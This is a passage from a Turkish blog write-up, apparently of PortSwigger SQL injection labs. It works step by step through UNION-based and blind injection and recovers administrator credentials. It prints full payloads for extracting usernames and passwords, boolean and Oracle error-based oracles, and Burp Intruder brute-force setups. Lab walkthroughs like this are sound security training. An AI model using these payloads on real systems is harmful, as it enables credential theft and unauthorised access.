satırıyla sonlandırmam gerekiyordu. # ve- -işaretlerini test ettim;- -ile gönderdiğimde sunucu <strong>200 OK</strong> döndü ve istek başarılı oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*O9h61038TqFp3tGy5V1_CQ.png" /></figure><p>Veritabanındaki sütun sayısını belirlemek için ORDER BY testleri gerçekleştirdim. ORDER BY 1,2,3- -sorguları hata vermeden dönerken, ORDER BY 1,2,3,4- -gönderildiğinde sunucu <strong>500 Internal Server Error</strong> döndü. Bu sonuçlardan yola çıkarak tabloda <strong>3 sütun</strong> bulunduğunu tespit ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*DQtkKu0lmXmYYiqipsriqA.png" /></figure><p>Üç sütun bulunduğunu tespit ettikten sonra, bu sütunlardan hangisinin string (metinsel) veri kabul ettiğini belirlemem gerekiyordu. Bu nedenle sırasıyla ‘ UNION SELECT ‘a’, NULL, NULL- -sorgusunu gönderdim. Sunucu bu sorguya <strong>500 Internal Server Error</strong> yanıtı döndürdü; dolayısıyla ilk sütunun metinsel veri tipiyle uyumlu olmadığı sonucuna vardım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*hDl6VZjK_CQBCSaoSJ91Yg.png" /></figure><p>İlk kolonun metinsel veri kabul etmediğini gördükten sonra, bu kez ikinci kolonu test etmek için ‘ UNION SELECT NULL, ‘a’, NULL- -sorgusunu gönderdim. Sunucu <strong>200 OK</strong> yanıtı döndürdü. Bu sonuç, <strong>ikinci kolonun string (metin) türünde veri kabul ettiğini</strong> göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*crXsYPYkc_sNk0yQT4_jnw.png" /></figure><p>Laboratuvar, tespit ettiğim metinsel (string) kolonu kullanarak belirli bir metin ifadesinin sorgu çıktısında görüntülenmesini istemektedir. Bu nedenle, verilen text verisini SQL sorgusu içerisine yerleştirerek çıktıda başarıyla görüntülemem gerekmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*IUkuGyOqbddpbs-xr3BsVg.png" /></figure><p>Lab tarafından verilen string ifadeyi ikinci kolona yerleştirmek amacıyla ‘ UNION SELECT NULL, ‘TkiWc5’, NULL- -sorgusunu gönderdim. Sunucu <strong>200 OK</strong> yanıtı döndürdü ve belirtilen metin (TkiWc5) başarılı bir şekilde çıktıda görüntülendi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*llCQ7yfRaRWBI5Wxi0MP1A.png" /></figure><p>Böylece labı başarılı bir şekilde tamamlamış oldum</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*vh-Q-IzIGetjsUxh5aN_-A.png" /></figure><p><strong>Lab: SQL injection UNION attack, retrieving data from other tables</strong></p><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz. Böyle bir saldırı oluşturmak için, önceki laboratuvarlarda öğrendiğiniz tekniklerden bazılarını birleştirmeniz gerekir.</p><p>Veritabanında, kullanıcı adı (username) ve parola (password) sütunlarına sahip “users” adlı farklı bir tablo bulunur.</p><p>Laboratuvarı çözmek için, tüm kullanıcı adlarını ve parolaları alan ve bu bilgileri kullanarak yönetici kullanıcısı olarak oturum açan bir SQL enjeksiyonu UNION saldırısı gerçekleştirin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*v_Rimpjqye_KI2i5l5-L1Q.png" /></figure><p>Burp Suite’i aktif hale getirip laboratuvarı başlattım. Uygulama, SQL açığının <strong>kategoriler</strong> bölümünde olduğunu belirttiği için herhangi bir kategoriye tıklayıp oluşan HTTP isteğini Burp Suite’te yakaladım ve detaylı inceleme için <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*rQwb3TINz60MRo98lynPuA.png" /></figure><p>SQL açığını test etmek amacıyla giriş parametresine tek tırnak (‘) enjekte ettim; sunucu <strong>500 Internal Server Error</strong> döndürdü. Hatanın devamını engellemek için sorgunun kalan kısmını yorum satırı haline getirmeyi denedim. # ve- -işaretlerini test ettim;- -ile (- -) gönderdiğimde sunucu <strong>200 OK</strong> yanıtı verdi ve istek başarılı oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*ep6MwduEdEsxP7jYiiGHfQ.png" /></figure><p>Veritabanında kaç kolon bulunduğunu tespit etmek için ORDER BY yöntemini kullandım. ‘ ORDER BY 1,2- -sorgusu başarılı şekilde <strong>200 OK</strong> yanıtı döndürürken, daha yüksek sayıda kolon belirten sorgularda hata oluşuyordu. Bu sonuçlardan yola çıkarak tabloda <strong>2 sütun</strong> bulunduğunu belirledim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Z_xoJua_PCiWY5fuJ2E4SA.png" /></figure><p>Tespit edilen sütunların metinsel (string) değer alıp almadığını test etmek için ilk kolona bir text değeri enjekte ettim. ‘ UNION SELECT ‘test’, NULL- -sorgusunu gönderdiğimde sunucu <strong>200 OK</strong> yanıtı döndürdü. Bu sonuç, ilk kolonun string değerleri kabul ettiğini göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*BP1caTBP31rJW4Ns6gmjqw.png" /></figure><p>Daha önce ilk kolonda test ettiğim string değeri, şimdi ikinci kolon için de test ettim. ‘ UNION SELECT ‘test’, ‘test2’ — sorgusunu gönderdiğimde sunucu <strong>200 OK</strong> yanıtı döndürdü. Bu sonuç, her iki kolonun da string değerleri kabul ettiğini doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*R6auDRfIDly419kEQLDIUQ.png" /></figure><p>Lab açıklamasında username ve password içeren bir users tablosu olduğu belirtilmiştir. Bu nedenle ‘ UNION SELECT username, password FROM users- -sorgusunu gönderdim; sunucu başarılı şekilde yanıt verdi ve hedef uygulamadan kullanıcı adları ile parola değerlerini elde ettim. Lab, özellikle <strong>administrator</strong> hesabını istemektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*aR1xqA_zwfGe_NnvQs4Qzw.png" /></figure><p>Elde ettiğim parola değerini kullanarak sisteme başarıyla giriş yaptım. Böylece laboratuvar senaryosunu başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*RDRJFaBHExVTU4s1dsSiaA.png" /></figure><p><strong>Lab: SQL injection UNION attack, retrieving multiple values in a single column</strong></p><p>Bu laboratuvar, ürün kategorisi filtresinde bir SQL enjeksiyonu güvenlik açığı içeriyor. Sorgu sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için bir UNION saldırısı kullanabilirsiniz.</p><p>Veritabanında, kullanıcı adı (username) ve parola (password) sütunları olan “users” adlı farklı bir tablo bulunur.</p><p>Laboratuvarı çözmek için, tüm kullanıcı adlarını ve parolaları alan ve bu bilgileri kullanarak yönetici kullanıcısı olarak oturum açan bir SQL enjeksiyonu UNION saldırısı gerçekleştirin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*nhTxwJ2Kstibdle5phFIRA.png" /></figure><p>Burp Suite’i etkinleştirip laboratuvarı başlattım. Uygulamanın SQL zafiyetini <strong>kategoriler</strong> bölümünde bildirmesi üzerine herhangi bir kategoriye tıklayıp oluşan HTTP isteğini Burp Suite ile yakaladım ve detaylı inceleme için <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*QrlWXNkYk7bfOJFQo2r8sA.png" /></figure><p>SQL zafiyetini test etmek amacıyla giriş parametresine tek tırnak (‘) enjekte ettim; sunucu <strong>500 Internal Server Error</strong> döndürdü ve bu davranış olası bir SQL enjeksiyon zafiyetine işaret ediyor. Hatanın devamını önlemek için sorgunun kalanını yorum satırı haline getirmeyi denedim. # ve- -işaretlerini test ettim;- -ile gönderildiğinde istek <strong>200 OK</strong> döndü ve hata ortadan kalktı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*LB9H9jE2Dx2gEb3urnFPMw.png" /></figure><p>Tablo sütun sayısını belirlemek amacıyla ORDER BY yöntemi kullanıldı. ‘ ORDER BY 1,2- -sorgusu başarılı bir şekilde 200 yanıtı verdi. Elde edilen bulguya göre tablo <strong>2 sütun</strong> içermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*13XpT0p3qQeVdVXkAP8WhQ.png" /></figure><p>Sütunların string (metin) değer alıp almadığını test etmek için ilk kolona string veri enjekte ettim; sunucu <strong>500 Internal Server Error</strong> döndürdü. Daha sonra ikinci kolona string veri girerek deneme yaptım ve sunucu <strong>200 OK</strong> yanıtı verdi. Bu sonuç, ikinci kolonun string değerleri kabul ettiğini göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*C9aScRn2yPjkgZdd-yPIlw.png" /></figure><p>İkinci kolonun string veri kabul ettiğini tespit ettikten sonra veritabanının sürümünü öğrenmem gerekiyordu. Bu amaçla ikinci kolona cheat-sheet’ten aldığım version parametrelerini uyguladım ve sunucudan gelen yanıt sonucunda veritabanının <strong>PostgreSQL</strong> olduğunu tespit ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*CsxuIEK57uOyPruaxvo0aA.png" /></figure><p>İkinci kolonun string veri kabul ettiğini bildiğim için, lab açıklamasında verilen users tablosundaki username değerlerini çekmek amacıyla ‘ UNION SELECT NULL, username FROM users- -sorgusunu gönderdim. Sunucu yalnızca kullanıcı adlarını döndürdü. Ancak lab hedefi için <strong>parola (password) bilgilerine</strong> de ihtiyacım bulunmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*mGyaotJdKffTkqKvKDPjgg.png" /></figure><p>Cheat-sheet’e göre hedef uygulamanın <strong>PostgreSQL</strong> veritabanı kullandığını öğrendim. Bu nedenle string birleştirme işlemlerini PostgreSQL sözdizimine uygun olarak ‘foo’ || ‘bar’ biçiminde ifade etmem gerektiğini tespit ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*1CK_F-J5vGlcBBRR5jt7xw.png" /></figure><p>PostgreSQL veritabanında string birleştirme (||) sözdizimini kullanarak users tablosundaki username ve password değerlerini birleştirmek amacıyla ‘ UNION SELECT NULL, username || password FROM users- -sorgusunu gönderdim. İstek başarılı oldu (<strong>200 OK</strong>) ve dönen sonuçlarda administrator kullanıcı adı ile parolası yer almaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*2K3AlNC44lXngCoYE0lZRA.png" /></figure><p>Kullanıcı adını ve parolayı doğrulama formuna girerek kimlik doğrulaması gerçekleştirdim; giriş başarılı oldu ve hedef sisteme <strong>administrator</strong> yetkisiyle erişim sağladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*dADs_BikvayBZojrvmuZSw.png" /></figure><p><strong>Lab: Blind SQL injection with conditional responses</strong></p><p>Bu laboratuvar, kör SQL enjeksiyonu güvenlik açığı içeriyor. Uygulama, analiz için bir izleme çerezi kullanıyor ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştiriyor.</p><p>SQL sorgusunun sonuçları döndürülmüyor ve herhangi bir hata mesajı görüntülenmiyor. Ancak sorgu herhangi bir satır döndürürse, uygulama sayfada bir “Tekrar Hoş Geldiniz” mesajı içeriyor.</p><p>Veritabanında, kullanıcı adı (username) ve parola (password) sütunları olan “users” adlı farklı bir tablo bulunuyor. Yönetici kullanıcının parolasını bulmak için kör SQL enjeksiyonu güvenlik açığından yararlanmanız gerekiyor.</p><p>Laboratuvarı çözmek için yönetici (administrato) kullanıcısı olarak oturum açın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*2r64dApB-cCLHh_ZpQAqyw.png" /></figure><p>Labı başlatmadan önce tarayıcı eklentisi olarak <strong>Cookie Editor</strong> (çerez düzenleyici) kurmanızı öneriyorum; bu eklenti harici laboratuvarlarda da faydalı olacaktır. Ardından Burp Suite’i etkinleştirip laboratuvarı başlattım. Uygulama, SQL zafiyetinin <strong>izleme çerezi</strong> (tracking cookie) kaynaklı olduğunu belirtti. Bu nedenle ilgili / isteğini Burp Suite ile yakalayıp detaylı inceleme için <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*tNttn4MXb-9jaLUFseiZQQ.png" /></figure><p>Uygulama, TrackingID parametresinde bir SQL açığı olduğunu bildiriyor. Buraya <strong>false</strong> döndürecek bir sorgu gönderdiğimde bile sunucu <strong>200 OK</strong> döndürüyor; bu yüzden sayfanın koşul <strong>true</strong> olduğunda gözlemlenebilir (farklı) bir tepki vermesini bekliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*VLQKwBoZktDeG7jv-hgeQw.png" /></figure><p>SQL sorgusunun doğru (true) olacak şekilde düzenlendiğinde sayfa <strong>“Welcome back”</strong> mesajını gösteriyor. Bu davranış, enjekte ettiğim SQL koşulunun uygulama tarafından değerlendirildiğini ve sorgunun başarılı olarak çalıştığını doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*hs0t2OekyuidmHuP2BFlpA.png" /></figure><p>‘ AND (SELECT ‘test’ FROM users LIMIT 1) = ‘test’- -payload’ı, hedef sorguya eklenen <strong>boolean-temelli bir test</strong>tir: alt sorgu users tablosundan (LIMIT 1 ile) tek bir sabit değer (‘test’) döndürmeye çalışır ve bunun ‘test’ ile eşit olup olmadığını kontrol eder. Eğer users tablosunda en az bir satır varsa ifade true olur ve karşımıza “Welcome back!” yazısı çıkmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*riVlbdAlqqTINqSCg8t2lA.png" /></figure><p>‘ AND (SELECT username FROM users LIMIT 1) = ‘administrator’- -payload’ı, hedef sorguya eklenen <strong>boolean-temelli</strong> bir kontroldür: alt sorgu users tablosundan LIMIT 1 ile döndürülen ilk username değerini alır ve bunun ‘administrator’ olup olmadığını test eder. Eğer sistemde administrator kullanıcısı varsa bize true (Welcome back) yazısını döndürecektir. Repsonse baktığımda ise o çıktıyı başarılı bir şekilde görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*W85L9A7Jmvwou-LLACZ-HA.png" /></figure><p>‘ AND (SELECT username FROM users WHERE username = ‘administrator’) = ‘administrator’- -payload’ı, hedef sorguya eklenen <strong>boolean-temelli</strong> bir kontroldür: alt sorgu users tablosunda username = ‘administrator’ koşulunu sağlayan satır(lar)ı seçer ve dönen değerin ‘administrator’ olup olmadığını test eder. Eğer tabloda tam olarak bir satır dönüyorsa ve değeri ‘administrator’ ise karşılaştırma true olur; uygulama true sonucu için farklı bir çıktı (ör. “Welcome back”) gösteriyorsa, sorgunun çalıştığı ve administrator kullanıcısının var olduğu doğrular.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*7u0W75xG4qYZvl7Pe4r2fg.png" /></figure><p>‘ AND (SELECT username FROM users WHERE username=’administrator’ AND LENGTH(password) &gt; 1) = ‘administrator’- -‘ ifadesi şu işi yapmaya çalışır: Alt sorgu users tablosunda hem username = ‘administrator’ koşulunu sağlayan satır(lar)ı hem de o satırların password alanının uzunluğunun 1’den büyük olup olmadığını kontrol eder. Eğer böyle bir satır varsa alt sorgu username değerini döndürür ve dışarıdaki = ‘administrator’ karşılaştırması true olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*7u0W75xG4qYZvl7Pe4r2fg.png" /></figure><p>Parola uzunluğunu belirlemek için Burp Suite Intruder’ı kullandım. İlgili isteği Intruder’a gönderip <strong>Attack type: Sniper</strong> olarak ayarladım; hedef parametre pozisyonuna 1–50 aralığında artan sayısal payload’lar yerleştirerek (1’den başlayıp her denemede 1 artırarak) brute-force tarzı bir test başlattım. Her istekte sunucu yanıtını (“Welcome back” gibi true kabulünü gösteren metin) kontrol ederek parolanın olası uzunluğunu tespit etmeye çalıştım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*JWFTfkoDWmVChVQ2Y4JCpg.png" /></figure><p>Atak sonunda, length parametresi için 20’den büyük değerlerde farklı bir tepki (ör. <strong>“Welcome back”</strong> mesajındaki değişiklik) gözlemledim. Bu gözlemden, hedef kullanıcının parolasının <strong>20 karakter uzunluğunda</strong> olduğunu çıkardım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pLiP8jY2H02adEINmH_Tg.png" /></figure><p>‘ AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = ‘administrator’) = ‘a’ — payload’ı, hedef sorguya eklenen <strong>boolean-temelli</strong> bir kontroldür: users tablosunda username = ‘administrator’ olan satırın password alanının <strong>1. karakterinin</strong> (SUBSTRING(…,1,1)) ‘a’ olup olmadığını test eder. Eğer 1. karakter ‘a’ ise koşul true olur ve welcome back yazısı çıkar. Ben burada ilk karakteri bildiğim için gönderdim ve başarılı bir şekilde welcome back yazısını gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*l9c9MqXRDjZzR1Z-FkvL9g.png" /></figure><p>Parolanın toplam uzunluğunun 20 karakter olduğunu bildiğim için her bir karakteri tek tek denemek yerine Burp Suite <strong>Intruder</strong> ile brute‑force atak başlatacağım. İlk payload pozisyonu parolanın indeksini temsil edecek (1…20) ve Intruder’da bu pozisyon için 1’den 20’ye kadar artan sayısal yükler gönderecek şekilde yapılandırılacaktır; böylece her istekte sırayla parolanın 1., 2., …, 20. karakterleri test edilmiş olacak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*u3ZcBgmJcvV_5weawC-rzw.png" /></figure><p>İkinci değişken parolanın <strong>kendisini</strong> temsil etmektedir; bu nedenle olası karakter kümesini (küçük/büyük harf, rakam, gerekirse özel karakterler) payload olarak tanımladım. Burp Intruder’da birinci pozisyonu “karakter indeksi” (1…20), ikinci pozisyonu ise “karakter değeri” olacak şekilde ayarladım ve <strong>Attack type = Cluster</strong> (Cluster Bomb) seçeneği ile atağı başlattım. Atağı başlattıktan sonra her indeks için tanımlı karakter kümesinden denemeler otomatik olarak gönderilecek ve dönen yanıtlar (ör. “Welcome back”) kontrol edilerek doğru karakterler tespit edilecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*1le5BKWu0sqyRlw6TUujEA.png" /></figure><p>Atak sonucunda, length bazlı analiz ve Welcome back filtresi kullanılarak her indeks için doğru karakterler belirlendi. Elde edilen karakterlerin birleştirilmesiyle hedef kullanıcının parolası <strong>lm7bvkuocy66cros5k8f</strong> (20 karakter) olarak tespit edilmişti</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cjkx8s7O-zQjt3UbT5cDLw.png" /></figure><p>Elde ettiğim kullanıcı adı ve parola ile kimlik doğrulama formuna giriş yaptım; doğrulama başarılı oldu ve hedef sisteme <strong>administrator</strong> yetkisiyle erişim sağladım. Böylece laboratuvar senaryosunu başarıyla tamamladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*_S9rqNwQUe071L1Msx0gqg.png" /></figure><p><strong>Lab: Blind SQL injection with conditional errors</strong></p><p>Bu laboratuvar, kör SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.</p><p>SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgu herhangi bir satır döndürüp döndürmemesine bağlı olarak farklı bir yanıt vermez. SQL sorgusu bir hataya neden olursa, uygulama özel bir hata mesajı döndürür.</p><p>Veritabanında, kullanıcı adı (username) ve parola (password) sütunları olan kullanıcılar (users) adlı farklı bir tablo bulunmaktadır. Yönetici (administrator) kullanıcının parolasını bulmak için kör SQL enjeksiyonu güvenlik açığından yararlanmanız gerekir.</p><p>Laboratuvarı çözmek için yönetici (administrator) kullanıcısı olarak oturum açın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*ON1BadpZ0LLeL-FqMYxyPA.png" /></figure><p>Burp Suite’i aktif hale getirip laboratuvarı başlattım. Uygulama, zafiyetin <strong>tracking cookie</strong> üzerinden gerçekleştiğini belirttiği için, ilgili / isteğini Burp Suite ile yakalayıp detaylı analiz yapmak üzere <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*ygpz3i-KBdkXnzYCA3Z9kg.png" /></figure><p>TrackingID’de SQL zafiyetini görmek için tek tırnak(‘) ile kontrol ediyorum ve 500 hatası vermektedir. Burada bir SQL açığı olabileceğini düşünmekteyim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*6ni8Oshc5s-6Sf1pmA3pxw.png" /></figure><p>‘ || (SELECT ‘’) || ‘ ifadesini, TrackingID parametresinin gerçekten SQL enjeksiyonuna açık olup olmadığını test etmek için kullandım. Bu yapı, mevcut sorgunun sonuna bir <strong>string birleştirme (concatenation)</strong> operatörü ekleyip küçük bir alt sorgu yerleştirmemi sağlar. Yani amaç, uygulamanın SQL ifademi yorumlayıp yorumlamadığını kontrol etmektir. Bu enjeksiyonu gönderdiğimde sunucu <strong>500 Internal Server Error</strong> döndürdü; bunun sebebi, eklediğim ifadeyle orijinal SQL sorgusunun yapısının bozulması ve veritabanının hatalı veya eksik bir sorguyu çalıştıramamasıdır. Bu hata, parametrenin gerçekten SQL sorgusunun bir parçası olarak işlendiğini ve potansiyel olarak istismar edilebilir bir zafiyet olduğunu doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*7yP7Qvl8hTWA8fsBBd_jSA.png" /></figure><p>‘ || (SELECT ‘’ FROM dual) || ‘ ifadesini denediğimde sorgunun Oracle’a özgü olan <strong>DUAL</strong> tablosunu kabul ettiğini gördüm. DUAL sadece Oracle’da bulunan özel bir tablo olduğundan, bu ifadenin hata vermeden çalışması uygulamanın <strong>Oracle veri tabanı</strong> kullandığını doğrudan doğrulamış oldu. Bu sayede hem veritabanı türünü tespit ettim hem de enjeksiyon için Oracle’a uygun payload’lar hazırlamam gerektiğini netleştirdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*C4cK8Pa_aB46h5jxhOzQQA.png" /></figure><p>‘ || (SELECT ‘’ FROM users) || ‘ ifadesini denediğimde 500 hatası almamın muhtemel nedeni, <strong>users tablosunun birden fazla satır döndürmesi</strong> oldu. Bu tür bir UNION veya string birleştirme denemesinde sorgu tek bir değer (tek satır, tek kolon) beklerken, users tablosu örneğin 5 kullanıcı içeriyorsa <strong>5 satırlık çıktı üretmeye çalışır</strong>. Bu da arka plandaki SQL ifadesinin <strong>beklenenden fazla satır</strong> döndürmesine, dolayısıyla sorgunun yapısının bozulmasına ve uygulamanın <strong>sunucu hatası (500)</strong> vermesine neden olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*vbp-2xWjdxgY1RTBfJkFTQ.png" /></figure><p>‘ || (SELECT ‘’ FROM users WHERE ROWNUM = 1) || ‘ ifadesini kullandığımda bu kez sunucu <strong>200 OK</strong> yanıtı döndürdü. Bunun nedeni, ROWNUM = 1 filtresinin kullanıcılar tablosundan yalnızca <strong>ilk satırı</strong> çekmesi ve böylece sorgunun <strong>tek bir sonuç</strong> üretmesidir. TrackingID parametresi birden fazla satırı işleyemeyeceği için önceki denemede 500 hatası alınmıştı; ancak bu sorgu tek satır döndürdüğü için uygulama hataya düşmedi ve bu da <strong>users tablosunun gerçekten var olduğunu</strong> doğrulamış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*j6LGD15LwbF4GC9voi4Hfw.png" /></figure><p>‘ || (SELECT ‘’ FROM users WHERE username=’administrator’) || ‘ ifadesini gönderdiğimde sunucu <strong>200 OK</strong> yanıtı verdi. Bu, sorgunun başarılı şekilde çalıştığını ve users tablosunda <strong>username değeri “administrator” olan bir satır bulunduğunu</strong> doğruluyor. Sorgu yine boş bir değer döndürdüğü için uygulama TrackingID alanını sorunsuz şekilde işleyebildi. Bu yanıt, hem tablo yapısının doğru olduğunu hem de hedef kullanıcı hesabının gerçekten sistemde bulunduğunu göstermiş oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*wmnJFc3-uet9i3MLfa3Jig.png" /></figure><p>‘ || (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE ‘’ END FROM dual) || ‘ sorgusunda koşul olan <strong>1=0 her zaman false</strong> olduğu için, CASE yapısının <strong>THEN</strong> kısmı hiç çalışmaz. Böylece TO_CHAR(1/0) ifadesi (yani sıfıra bölme hatası) tetiklenmez ve sorgu direkt olarak <strong>ELSE ‘’</strong> kısmını döndürür. Bu nedenle uygulama hataya düşmeden sorguyu işleyebilir ve sonuç olarak <strong>200 OK</strong> yanıtı gelir. Bu test, sunucunun CASE yapısını doğru şekilde çalıştırabildiğini ve hata fırlatmadığını doğrulamak için kullanılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*9qrK22OoBsMHSqVrhfVF7Q.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM dual) || ‘ sorgusunda şart <strong>1=1</strong> olduğu için CASE ifadesi <strong>THEN</strong> kısmını yürütür. THEN tarafındaki TO_CHAR(1/0) ifadesi Oracle’da <strong>division by zero</strong> hatası ürettiğinden, sorgu doğru şekilde işlenemez ve uygulama <strong>500 Internal Server Error</strong> döndürür. Bu davranış, CASE yapısının koşula göre farklı çıktılar üretebildiğini ve hata aldığında sistemin nasıl tepki verdiğini doğrulamak için kullanılan klasik bir Oracle blind test yöntemidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Lonn-NLg-aYkaTjqbLtDeQ.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’) || ‘ ifadesini gönderdiğimde sunucu <strong>500 Internal Server Error</strong> döndürdü. Bunun sebebi, koşul olan <strong>1=1</strong> her zaman true olduğu için CASE yapısının <strong>THEN</strong> bloğunu çalıştırması ve TO_CHAR(1/0) ile <strong>division by zero</strong> hatası üretmesidir. Ek olarak, sorgunun users tablosunda gerçekten administrator kullanıcısı bulunduğu için bu satıra erişilebilmiş ve hata doğru şekilde tetiklenmiştir. Bu sonuç, hem kullanıcının sistemde mevcut olduğunu hem de sorgunun başarıyla çalıştırılıp hata fırlatabildiğini kanıtlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*zWlN0JJ73V68_eRhook_SA.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’aflsdfsdkmfksd’) || ‘ ifadesini gönderdiğimde sunucu <strong>200 OK</strong> yanıtı verdi. Bunun sebebi, users tablosunda <strong>‘aflsdfsdkmfksd’</strong> isminde bir kullanıcı bulunmadığı için sorgunun <strong>hiçbir satır döndürmemesidir</strong>. Satır döndürülmediğinde CASE yapısı da çalışmaz ve dolayısıyla TO_CHAR(1/0) içindeki <strong>division by zero hatası tetiklenmez</strong>. Sorgu boş bir sonuç döndürdüğü için uygulama bunu normal bir değer olarak işleyip 200 cevabı vermektedir. Bu davranış, belirtilen kullanıcı adının sistemde <strong>mevcut olmadığını</strong> kanıtlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*FLa5vw7VWmO4hLkmDtAlsA.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’ AND LENGTH(password) &gt; 50) || ‘ ifadesinde amaç, <em>administrator</em> hesabının parolasının uzunluğunu test etmektir. LENGTH(password) &gt; 50 koşulu <strong>true</strong> ise sorgu ilgili kullanıcı satırını bulur ve bu satır için CASE yapısı çalıştırılır. CASE’in koşulu <strong>1=1</strong> olduğu için <strong>THEN</strong> bloğuna geçilir ve TO_CHAR(1/0) ifadesi Oracle’da <strong>division by zero</strong> hatası üretir; bu durumda uygulama <strong>500 hata</strong> döndürür. Ancak parola uzunluğu 50’den büyük değilse users tablosunda bu filtreye uyan satır bulunamayacağından CASE hiç tetiklenmez ve hata oluşmaz; bu durumda <strong>200 OK</strong> yanıtı alınır. Bu yöntem, parolanın uzunluğunu karakter karakter ölçmek için kullanılan tipik bir blind SQL tekniğidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*AimkaByrmyMnevwY1q8Yow.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’ AND LENGTH(password) &gt; 19) || ‘ sorgusunda amaç, parolanın uzunluğunu test etmektir. Uygulama <strong>500 hatası</strong> döndürdüğü için LENGTH(password) &gt; 19 koşulu <strong>true</strong> olmuş ve CASE ifadesi TO_CHAR(1/0) kısmına girip sıfıra bölme hatası üretmiştir. Bu da administrator parolasının uzunluğunun <strong>en az 20 karakter</strong> olduğunu göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*HKomGangAPWDYan-ZhmSMA.png" /></figure><p>‘ || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’ AND SUBSTR(password,1,1) = 